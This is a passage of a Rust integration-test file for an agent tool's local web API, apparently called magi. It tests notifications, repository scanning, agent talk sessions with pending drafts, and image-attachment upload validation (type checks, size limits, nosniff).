5872 assert_eq!(res.status, 200, "{}", res.body);
5873 assert_eq!(res.json()["answer"]["text"], "--json");
5874 }
5875
5876 #[tokio::test]
5877 async fn an_unknown_question_is_a_json_404() {
5878 let fx = Fixture::start().await;
5879 let res = fx
5880 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
5881 .await;
5882 assert_eq!(res.status, 404, "{}", res.body);
5883 assert!(res.json()["error"].is_string());
5884 }
5885
5886 #[tokio::test]
5887 async fn notifications_list_read_dismiss_and_health_agree() {
5888 let fx = Fixture::start().await;
5889 let store = Notices::at(fx.home.path().join("notifications"));
5890 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
5891 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
5892
5893 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
5894 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
5895
5896 let health = fx.get("/api/health").await.json();
5897 assert_eq!(health["notifications_unread"], 2);
5898 assert_ne!(
5899 health["notifications_rev"], rev0,
5900 "the badge must move live"
5901 );
5902
5903 let listed = fx.get("/api/notifications").await.json();
5904 assert_eq!(listed["unread"], 2);
5905 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
5906 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
5907
5908 let read = fx
5909 .post(&format!("/api/notifications/{}/read", a.id), None)
5910 .await;
5911 assert_eq!(read.status, 200, "{}", read.body);
5912 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
5913
5914 let gone = fx
5915 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
5916 .await;
5917 assert_eq!(gone.status, 200, "{}", gone.body);
5918 let listed = fx.get("/api/notifications").await.json();
5919 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
5920 assert_eq!(listed["unread"], 0);
5921
5922 store.raise(Notice::info("x", "again")).unwrap();
5923 let all = fx.post("/api/notifications/read-all", None).await;
5924 assert_eq!(all.status, 200, "{}", all.body);
5925 assert_eq!(all.json()["marked"], 1);
5926 assert_eq!(
5927 fx.get("/api/health").await.json()["notifications_unread"],
5928 0
5929 );
5930
5931 let missing = fx.post("/api/notifications/nope/read", None).await;
5932 assert_eq!(missing.status, 404, "{}", missing.body);
5933 assert!(missing.json()["error"].is_string());
5934 }
5935
5936 #[tokio::test]
5943 async fn a_task_cannot_be_filed_over_the_phone_directly() {
5944 let f = Fixture::start().await;
5945
5946 let res = f
5947 .post(
5948 "/api/queue",
5949 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
5950 )
5951 .await;
5952
5953 assert_eq!(
5954 res.status, 405,
5955 "POST /api/queue must not be a route: {}",
5956 res.body
5957 );
5958 assert!(
5959 f.queue().list().is_empty(),
5960 "a task filed by a route that does not exist must not reach the disk"
5961 );
5962 assert_eq!(f.get("/api/queue").await.status, 200);
5965 }
5966
5967 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
5969 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
5970 .expect("checkout dir");
5971 }
5972
5973 #[tokio::test]
5974 async fn repos_list_returns_name_and_path_for_every_configured_root() {
5975 let tmp = TempDir::new().expect("tempdir");
5976 let repo = tmp.path().join("repo");
5977 std::fs::create_dir_all(&repo).expect("repo dir");
5978 let root = tmp.path().join("root");
5979 make_checkout(&root, "github.com", "yukimemi", "magi");
5980 std::fs::write(
5981 repo.join("magi.toml"),
5982 format!(
5983 "[repos]\nroots = [{:?}]\n",
5984 root.to_string_lossy().into_owned()
5985 ),
5986 )
5987 .expect("write magi.toml");
5988
5989 let f = Fixture::with_repo(repo).await;
5990 let res = f.get("/api/repos").await;
5991 assert_eq!(res.status, 200, "{}", res.body);
5992 let list = res.json();
5993 let repos = list.as_array().expect("an array");
5994 assert_eq!(repos.len(), 1);
5995 assert_eq!(repos[0]["name"], "yukimemi/magi");
5996 assert!(
5997 repos[0]["path"]
5998 .as_str()
5999 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
6000 "{list}"
6001 );
6002 }
6003
6004 #[tokio::test]
6005 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
6006 let tmp = TempDir::new().expect("tempdir");
6007 let repo = tmp.path().join("repo");
6008 std::fs::create_dir_all(&repo).expect("repo dir");
6009 let root = tmp.path().join("root");
6010 make_checkout(&root, "github.com", "yukimemi", "magi");
6011 std::fs::write(
6012 repo.join("magi.toml"),
6013 format!(
6014 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
6015 root.to_string_lossy().into_owned()
6016 ),
6017 )
6018 .expect("write magi.toml");
6019
6020 let f = Fixture::with_repo(repo).await;
6021 let first = f.get("/api/repos").await;
6022 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
6023
6024 make_checkout(&root, "github.com", "yukimemi", "rvpm");
6027 let second = f.get("/api/repos").await;
6028 assert_eq!(
6029 second.json().as_array().map(Vec::len),
6030 Some(1),
6031 "a fresh cache must not rescan inside the TTL"
6032 );
6033
6034 let refreshed = f.get("/api/repos?refresh=1").await;
6035 assert_eq!(
6036 refreshed.json().as_array().map(Vec::len),
6037 Some(2),
6038 "an explicit refresh must rescan even inside the TTL"
6039 );
6040 }
6041
6042 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
6048
6049 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
6053 let tmp = TempDir::new().expect("tempdir");
6054 let repo = tmp.path().join("repo");
6055 std::fs::create_dir_all(&repo).expect("repo dir");
6056 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6057 let f = Fixture::with_repo(repo.clone()).await;
6058 (tmp, repo, f)
6059 }
6060
6061 #[tokio::test]
6062 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
6063 let (_tmp, _repo, f) = talk_fixture().await;
6064
6065 let opened = f.post("/api/talks", None).await;
6068 assert_eq!(opened.status, 201, "{}", opened.body);
6069 let body = opened.json();
6070 assert_eq!(body["status"], "open");
6071 assert_eq!(
6072 body["turns"].as_array().unwrap().len(),
6073 0,
6074 "opening takes no agent turn: there is nothing yet to answer"
6075 );
6076
6077 let also_opened = f.post("/api/talks", Some("{}")).await;
6079 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
6080
6081 let listed = f.get("/api/talks").await.json();
6082 assert_eq!(listed.as_array().unwrap().len(), 2);
6083 }
6084
6085 #[tokio::test]
6086 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
6087 let f = Fixture::start().await;
6088 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
6089 let queue = f.queue();
6090 let mut mine = Task::new(
6091 "rename the loader".to_owned(),
6092 "rename the loader".to_owned(),
6093 PathBuf::from("/repo/magi"),
6094 Source::Agent {
6095 run: talk_id.clone(),
6096 node: "chat".to_owned(),
6097 },
6098 );
6099 queue.put(&mut mine).expect("file the task");
6100 let mut theirs = Task::new(
6101 "unrelated".to_owned(),
6102 "unrelated".to_owned(),
6103 PathBuf::from("/repo/magi"),
6104 Source::Human,
6105 );
6106 queue.put(&mut theirs).expect("file the task");
6107
6108 let res = f.get(&format!("/api/talks/{talk_id}")).await;
6109 assert_eq!(res.status, 200, "{}", res.body);
6110 let body = res.json();
6111 assert_eq!(
6112 body["status"], "open",
6113 "filing a task does not close a talk"
6114 );
6115 let tasks = body["tasks"].as_array().expect("tasks array");
6116 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
6117 assert_eq!(tasks[0]["id"], mine.id);
6118 }
6119
6120 #[tokio::test]
6121 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
6122 let (_tmp, _repo, f) = talk_fixture().await;
6123 let id = f.post("/api/talks", None).await.json()["id"]
6124 .as_str()
6125 .expect("id")
6126 .to_owned();
6127
6128 let res = f
6129 .post(
6130 &format!("/api/talks/{id}/say"),
6131 Some(r#"{"text":"what does the queue module do?"}"#),
6132 )
6133 .await;
6134 assert_eq!(res.status, 202, "{}", res.body);
6135 let queued = res.json();
6136 let turns = queued["turns"].as_array().expect("turns array");
6137 assert_eq!(
6138 turns.len(),
6139 1,
6140 "the answer reflects only what is on disk the instant it is sent, \
6141 before the agent's turn - which can run for the whole of \
6142 `[graph] timeout_talk` - has a chance to land: {queued}"
6143 );
6144 assert_eq!(turns[0]["who"], "operator");
6145 assert_eq!(turns[0]["body"], "what does the queue module do?");
6146 assert_eq!(
6147 queued["thinking"], true,
6148 "the accepted response exposes the background turn claim: {queued}"
6149 );
6150
6151 let mut turns_after = 1;
6152 for _ in 0..SETTLE_STEPS {
6153 let detail = f.get(&format!("/api/talks/{id}")).await.json();
6154 turns_after = detail["turns"].as_array().expect("turns array").len();
6155 if turns_after == 2 {
6156 break;
6157 }
6158 tokio::time::sleep(Duration::from_millis(10)).await;
6159 }
6160 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
6161 }
6162
6163 #[tokio::test]
6190 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
6191 let tmp = TempDir::new().expect("tempdir");
6192 let repo = tmp.path().join("repo");
6193 std::fs::create_dir_all(&repo).expect("repo dir");
6194 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6195 let home = TempDir::new().expect("temp home");
6196 let talks = Talks::at(home.path().join("talks"));
6197 let ui = Arc::new(
6198 Ui::new(
6199 Queue::at(home.path().join("queue")),
6200 Questions::at(home.path().join("questions")),
6201 talks.clone(),
6202 home.path().join("runs"),
6203 home.path().to_path_buf(),
6204 repo.clone(),
6205 )
6206 .with_worktrees_root(home.path().join("wt")),
6207 );
6208 let cfg = config_for(&repo).await.expect("discover config");
6209
6210 for delay in 0..40u32 {
6211 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6212 let id = talk.id.clone();
6213
6214 let handler = tokio::spawn(talk_say(
6215 State(Arc::clone(&ui)),
6216 Path(id.clone()),
6217 Ok(Json(NewTalkTurn {
6218 text: "what does the queue module do?".to_owned(),
6219 attachments: Vec::new(),
6220 })),
6221 ));
6222 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
6223 handler.abort();
6224 let _ = handler.await;
6227
6228 let mut turns = 0;
6229 for _ in 0..SETTLE_STEPS {
6230 if let Ok(fresh) = talks.get(&id) {
6231 turns = fresh.turns.len();
6232 if turns != 1 {
6233 break;
6234 }
6235 }
6236 tokio::time::sleep(Duration::from_millis(10)).await;
6237 }
6238 assert_ne!(
6239 turns, 1,
6240 "delay {delay}: talk {id} recorded the operator's turn but \
6241 the agent never answered - the reply task was never \
6242 started after the handler future was dropped"
6243 );
6244 }
6245 }
6246
6247 #[tokio::test]
6292 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
6293 let tmp = TempDir::new().expect("tempdir");
6294 let repo = tmp.path().join("repo");
6295 std::fs::create_dir_all(&repo).expect("repo dir");
6296 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6297 let home = TempDir::new().expect("temp home");
6298 let talks = Talks::at(home.path().join("talks"));
6299 let ui = Arc::new(
6300 Ui::new(
6301 Queue::at(home.path().join("queue")),
6302 Questions::at(home.path().join("questions")),
6303 talks.clone(),
6304 home.path().join("runs"),
6305 home.path().to_path_buf(),
6306 repo.clone(),
6307 )
6308 .with_worktrees_root(home.path().join("wt")),
6309 );
6310 let cfg = config_for(&repo).await.expect("discover config");
6311
6312 for attempt in 0..3u32 {
6313 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6314 let id = talk.id.clone();
6315 let turn_guard = ui
6318 .begin_talk_turn(&id)
6319 .expect("claim the turn")
6320 .expect("a fresh talk owes nobody a turn");
6321
6322 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
6323 let (release_tx, release_rx) = std::sync::mpsc::channel();
6324 ui.set_busy_queue_gate(BusyQueueGate {
6325 reached: reached_tx,
6326 release: release_rx,
6327 });
6328
6329 let handler = tokio::spawn(talk_say(
6330 State(Arc::clone(&ui)),
6331 Path(id.clone()),
6332 Ok(Json(NewTalkTurn {
6333 text: "what does the queue module do?".to_owned(),
6334 attachments: Vec::new(),
6335 })),
6336 ));
6337
6338 tokio::time::timeout(Duration::from_secs(5), reached_rx)
6343 .await
6344 .unwrap_or_else(|_| {
6345 panic!(
6346 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
6347 )
6348 })
6349 .expect("the busy branch dropped the gate without using it");
6350
6351 let running = talks.get(&id).expect("reload talk");
6358 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
6359
6360 handler.abort();
6364 let _ = handler.await;
6365
6366 let _ = release_tx.send(());
6372
6373 let mut fresh = talks.get(&id).expect("reload talk");
6376 for _ in 0..SETTLE_STEPS {
6377 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
6378 break;
6379 }
6380 tokio::time::sleep(Duration::from_millis(10)).await;
6381 fresh = talks.get(&id).expect("reload talk");
6382 }
6383 assert!(
6384 fresh.pending.is_empty() && fresh.turns.len() == 2,
6385 "attempt {attempt}: talk {id} left the operator's text queued \
6386 with no drainer - the reclaimed turn was dropped along with \
6387 the handler future (pending {:?}, {} turns)",
6388 fresh.pending,
6389 fresh.turns.len()
6390 );
6391 }
6392 }
6393
6394 #[tokio::test]
6395 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
6396 let (_tmp, _repo, f) = talk_fixture().await;
6397 let id = f.post("/api/talks", None).await.json()["id"]
6398 .as_str()
6399 .expect("id")
6400 .to_owned();
6401 let store = f.talks();
6402 let mut recovered = store.get(&id).expect("opened talk");
6403 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
6404 .expect("persist pending draft without a live turn");
6405
6406 let edited = f
6407 .post(
6408 &format!("/api/talks/{id}/pending/edit"),
6409 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
6410 )
6411 .await;
6412 assert_eq!(edited.status, 200, "{}", edited.body);
6413 assert!(edited.json()["thinking"].as_bool().unwrap());
6414
6415 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
6416 for _ in 0..SETTLE_STEPS {
6417 if detail["turns"].as_array().expect("turns").len() == 2 {
6418 break;
6419 }
6420 tokio::time::sleep(Duration::from_millis(10)).await;
6421 detail = f.get(&format!("/api/talks/{id}")).await.json();
6422 }
6423 let turns = detail["turns"].as_array().expect("turns");
6424 assert_eq!(
6425 turns.len(),
6426 2,
6427 "the recovered draft must run once: {detail}"
6428 );
6429 assert_eq!(turns[0]["body"], "corrected");
6430 assert_eq!(detail["pending"], "");
6431 }
6432
6433 #[tokio::test]
6434 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
6435 let tmp = TempDir::new().expect("tempdir");
6436 let repo = tmp.path().join("repo");
6437 std::fs::create_dir_all(&repo).expect("repo dir");
6438 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
6439 let f = Fixture::with_repo(repo).await;
6440 let id = f.post("/api/talks", None).await.json()["id"]
6441 .as_str()
6442 .expect("id")
6443 .to_owned();
6444 let store = f.talks();
6445 let mut recovered = store.get(&id).expect("opened talk");
6446 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
6447 .expect("persist pending draft without a live turn");
6448
6449 let refused = f
6450 .post(
6451 &format!("/api/talks/{id}/say"),
6452 Some(r#"{"text":"new message"}"#),
6453 )
6454 .await;
6455 assert_eq!(refused.status, 409, "{}", refused.body);
6456 assert!(refused.body.contains("resume"), "{}", refused.body);
6457 let saved = store.get(&id).expect("draft remains after refusal");
6458 assert!(saved.turns.is_empty());
6459 assert_eq!(saved.pending, "saved before restart");
6460
6461 let say_path = format!("/api/talks/{id}/say");
6462 let (first, second) = tokio::join!(
6463 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
6464 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
6465 );
6466 assert_eq!(first.status, 409, "{}", first.body);
6467 assert_eq!(second.status, 409, "{}", second.body);
6468 let saved = store
6469 .get(&id)
6470 .expect("draft remains after concurrent refusals");
6471 assert!(saved.turns.is_empty());
6472 assert_eq!(saved.pending, "saved before restart");
6473
6474 let resumed = f
6475 .post(&format!("/api/talks/{id}/pending/resume"), None)
6476 .await;
6477 assert_eq!(resumed.status, 202, "{}", resumed.body);
6478 let duplicate = f
6479 .post(&format!("/api/talks/{id}/pending/resume"), None)
6480 .await;
6481 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
6482
6483 for _ in 0..SETTLE_STEPS {
6484 if store.get(&id).expect("talk").turns.len() == 2 {
6485 break;
6486 }
6487 tokio::time::sleep(Duration::from_millis(10)).await;
6488 }
6489 let finished = store.get(&id).expect("finished talk");
6490 assert_eq!(finished.turns.len(), 2, "{finished:?}");
6491 assert_eq!(finished.turns[0].body, "saved before restart");
6492 assert!(finished.pending.is_empty());
6493 }
6494
6495 #[tokio::test]
6496 async fn an_image_only_recovered_draft_resumes_without_text() {
6497 let (_tmp, _repo, f) = talk_fixture().await;
6498 let id = f.post("/api/talks", None).await.json()["id"]
6499 .as_str()
6500 .expect("id")
6501 .to_owned();
6502 let uploaded = f
6503 .post_bytes(
6504 &format!("/api/talks/{id}/attachments"),
6505 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
6506 PNG_BYTES,
6507 )
6508 .await;
6509 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6510 let attachment = f
6511 .talks()
6512 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
6513 .expect("attachment metadata")
6514 .expect("stored attachment");
6515 let store = f.talks();
6516 let mut recovered = store.get(&id).expect("opened talk");
6517 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
6518
6519 let resumed = f
6520 .post(&format!("/api/talks/{id}/pending/resume"), None)
6521 .await;
6522 assert_eq!(resumed.status, 202, "{}", resumed.body);
6523 for _ in 0..SETTLE_STEPS {
6524 if store.get(&id).expect("talk").turns.len() == 2 {
6525 break;
6526 }
6527 tokio::time::sleep(Duration::from_millis(10)).await;
6528 }
6529 let finished = store.get(&id).expect("finished talk");
6530 assert_eq!(finished.turns.len(), 2, "{finished:?}");
6531 assert!(finished.turns[0].body.is_empty());
6532 assert_eq!(finished.turns[0].attachments.len(), 1);
6533 assert!(finished.pending_attachments.is_empty());
6534 }
6535
6536 #[tokio::test]
6537 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
6538 let (_tmp, _repo, f) = talk_fixture().await;
6539 let id = f.post("/api/talks", None).await.json()["id"]
6540 .as_str()
6541 .expect("id")
6542 .to_owned();
6543 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6544 assert_eq!(closed.status, 200, "{}", closed.body);
6545 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
6546 .expect("serialize closed talk");
6547 for (path, body) in [
6548 (format!("/api/talks/{id}/pending/resume"), None),
6549 (
6550 format!("/api/talks/{id}/pending/clear"),
6551 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
6552 ),
6553 (
6554 format!("/api/talks/{id}/pending/edit"),
6555 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
6556 ),
6557 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
6558 ] {
6559 let response = f.post(&path, body).await;
6560 assert_eq!(response.status, 409, "{}", response.body);
6561 }
6562 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
6563 .expect("serialize closed talk");
6564 assert_eq!(
6565 after_clear, before_clear,
6566 "clear must not rewrite a closed talk"
6567 );
6568 }
6569
6570 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
6573
6574 #[tokio::test]
6575 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
6576 let tmp = TempDir::new().expect("tempdir");
6577 let repo = tmp.path().join("repo");
6578 std::fs::create_dir_all(&repo).expect("repo dir");
6579 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
6580 let f = Fixture::with_repo(repo).await;
6581 let id_a = f.post("/api/talks", None).await.json()["id"]
6582 .as_str()
6583 .unwrap()
6584 .to_owned();
6585 let id_b = f.post("/api/talks", None).await.json()["id"]
6586 .as_str()
6587 .unwrap()
6588 .to_owned();
6589
6590 let a = f
6591 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
6592 .await;
6593 assert_eq!(a.status, 202, "{}", a.body);
6594 assert_eq!(a.json()["thinking"], true);
6595 let b = f
6596 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
6597 .await;
6598 assert_eq!(b.status, 202, "{}", b.body);
6599 assert_eq!(b.json()["thinking"], true);
6600
6601 let listed = f.get("/api/talks").await.json();
6602 for id in [&id_a, &id_b] {
6603 let view = listed
6604 .as_array()
6605 .unwrap()
6606 .iter()
6607 .find(|talk| talk["id"] == *id)
6608 .unwrap();
6609 assert_eq!(view["thinking"], true, "{listed}");
6610 }
6611 let repeated = f
6612 .post(
6613 &format!("/api/talks/{id_a}/say"),
6614 Some(r#"{"text":"again"}"#),
6615 )
6616 .await;
6617 assert_eq!(repeated.status, 202, "{}", repeated.body);
6618 assert_eq!(repeated.json()["pending"], "again");
6619 }
6620
6621 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
6624
6625 #[tokio::test]
6626 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
6627 let f = Fixture::start().await;
6628 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
6629
6630 let res = f
6631 .post_bytes(
6632 &format!("/api/talks/{id}/attachments"),
6633 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6634 PNG_BYTES,
6635 )
6636 .await;
6637 assert_eq!(res.status, 201, "{}", res.body);
6638 let body = res.json();
6639 assert_eq!(body["name"], "shot.png");
6640 assert_eq!(body["mime"], "image/png");
6641 assert_eq!(body["bytes"], PNG_BYTES.len());
6642 let att_id = body["id"].as_str().expect("id").to_owned();
6643 assert_eq!(
6644 att_id.len(),
6645 32,
6646 "the id must never be a client-suppliable path: {att_id}"
6647 );
6648
6649 let got = f
6650 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
6651 .await;
6652 assert_eq!(got.status, 200, "{}", got.body);
6653 assert_eq!(got.header("content-type"), Some("image/png"));
6654 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
6655 assert_eq!(got.bytes, PNG_BYTES);
6656 }
6657
6658 #[tokio::test]
6659 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
6660 let f = Fixture::start().await;
6661 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
6662
6663 let svg = f
6666 .post_bytes(
6667 &format!("/api/talks/{id}/attachments"),
6668 &[("Content-Type", "image/svg+xml")],
6669 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
6670 )
6671 .await;
6672 assert!(
6673 (400..500).contains(&svg.status),
6674 "svg must be refused: {} {}",
6675 svg.status,
6676 svg.body
6677 );
6678 assert!(svg.body.contains("SVG"), "{}", svg.body);
6679
6680 let text = f
6681 .post_bytes(
6682 &format!("/api/talks/{id}/attachments"),
6683 &[("Content-Type", "text/plain")],
6684 b"just some text",
6685 )
6686 .await;
6687 assert!(
6688 (400..500).contains(&text.status),
6689 "an unlisted type must be refused: {} {}",
6690 text.status,
6691 text.body
6692 );
6693
6694 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
6697 let big = f
6698 .post_bytes(
6699 &format!("/api/talks/{id}/attachments"),
6700 &[("Content-Type", "image/png")],
6701 &oversized,
6702 )
6703 .await;
6704 assert_eq!(
6705 big.status,
6706 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
6707 "{}",
6708 big.body
6709 );
6710 }
6711
6712 #[tokio::test]
6713 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
6714 let f = Fixture::start().await;
6715 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
6716
6717 let res = f
6720 .post_bytes(
6721 &format!("/api/talks/{id}/attachments"),
6722 &[("Content-Type", "image/png")],
6723 b"<html>not a picture</html>",
6724 )
6725 .await;
6726 assert!((400..500).contains(&res.status), "{}", res.body);
6727 }
6728
6729 #[tokio::test]
6730 async fn an_unknown_attachment_id_is_a_404() {
6731 let f = Fixture::start().await;
6732 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
6733
6734 let res = f
6735 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
6736 .await;
6737 assert_eq!(res.status, 404, "{}", res.body);
6738 }
6739
6740 #[tokio::test]
6741 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
6742 let f = Fixture::start().await;
6743 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
6744
6745 let uploaded = f
6746 .post_bytes(
6747 &format!("/api/talks/{id}/attachments"),
6748 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6749 PNG_BYTES,
6750 )
6751 .await;
6752 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6753 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
6754
6755 let res = f
6756 .post(
6757 &format!("/api/talks/{id}/say"),
6758 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
6759 )
6760 .await;
6761 assert_eq!(res.status, 202, "{}", res.body);
6762 let queued = res.json();
6763 let turns = queued["turns"].as_array().expect("turns array");
6764 assert_eq!(
6765 turns.len(),
6766 1,
6767 "an empty body with an attachment is still a turn: {queued}"
6768 );
6769 assert_eq!(turns[0]["who"], "operator");
6770 assert_eq!(turns[0]["body"], "");
6771 let atts = turns[0]["attachments"]
6772 .as_array()
6773 .expect("attachments array");
6774 assert_eq!(atts.len(), 1);
6775 assert_eq!(atts[0]["id"], att_id);
6776 assert_eq!(atts[0]["mime"], "image/png");
6777
6778 let on_disk = f.talks().get(&id).expect("get");
6781 assert_eq!(on_disk.turns[0].attachments.len(), 1);
6782 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
6783 }
6784
6785 #[tokio::test]
6786 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
6787 let f = Fixture::start().await;
6788 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
6789
6790 let res = f
6791 .post(
6792 &format!("/api/talks/{id}/say"),
6793 Some(&format!(
6794 r#"{{"text":"hi","attachments":["{}"]}}"#,
6795 "a".repeat(32)
6796 )),
6797 )
6798 .await;
6799 assert!((400..500).contains(&res.status), "{}", res.body);
6800 assert!(res.body.contains("unknown attachment"), "{}", res.body);
6801
6802 let on_disk = f.talks().get(&id).expect("get");
6803 assert!(
6804 on_disk.turns.is_empty(),
6805 "a rejected attachment id must not partially record the turn: {:?}",
6806 on_disk.turns
6807 );
6808 }
6809
6810 #[tokio::test]
6811 async fn talk_close_makes_the_talk_refuse_further_turns() {
6812 let f = Fixture::start().await;
6813 let id = seed_talk(&f, "20260904-014455-cd34", "open");
6814
6815 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6816 assert_eq!(closed.status, 200, "{}", closed.body);
6817 assert_eq!(closed.json()["status"], "closed");
6818
6819 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
6821 assert_eq!(closed_again.status, 200);
6822 assert_eq!(closed_again.json()["status"], "closed");
6823
6824 let said = f
6825 .post(
6826 &format!("/api/talks/{id}/say"),
6827 Some(r#"{"text":"too late"}"#),
6828 )
6829 .await;
6830 assert_eq!(said.status, 409, "{}", said.body);
6831 }
6832
6833 #[tokio::test]
6834 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
6835 let (_tmp, _repo, f) = talk_fixture().await;
6836 let id = f.post("/api/talks", None).await.json()["id"]
6837 .as_str()
6838 .expect("id")
6839 .to_owned();
6840 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6841 assert_eq!(closed.status, 200, "{}", closed.body);
6842
6843 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6844 assert_eq!(reopened.status, 200, "{}", reopened.body);
6845 assert_eq!(reopened.json()["status"], "open");
6846
6847 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6849 assert_eq!(reopened_again.status, 200);
6850 assert_eq!(reopened_again.json()["status"], "open");
6851
6852 let said = f
6853 .post(
6854 &format!("/api/talks/{id}/say"),
6855 Some(r#"{"text":"still there?"}"#),
6856 )
6857 .await;
6858 assert_eq!(
6859 said.status, 202,
6860 "a reopened talk accepts turns again: {}",
6861 said.body
6862 );
6863 }
6864
6865 #[tokio::test]
6866 async fn talk_reopen_on_an_unknown_id_is_404() {
6867 let f = Fixture::start().await;
6868 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
6869 assert_eq!(res.status, 404, "{}", res.body);
6870 }
6871
6872 #[tokio::test]
6873 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
6874 let f = Fixture::start().await;
6875 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
6876
6877 let deleted = f.delete(&format!("/api/talks/{id}")).await;
6878 assert_eq!(deleted.status, 204, "{}", deleted.body);
6879
6880 let after = f.get(&format!("/api/talks/{id}")).await;
6881 assert_eq!(after.status, 404, "{}", after.body);
6882
6883 let listed = f.get("/api/talks").await.json();
6884 assert!(
6885 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
6886 "a deleted talk must not linger in the list: {listed}"
6887 );
6888 }
6889
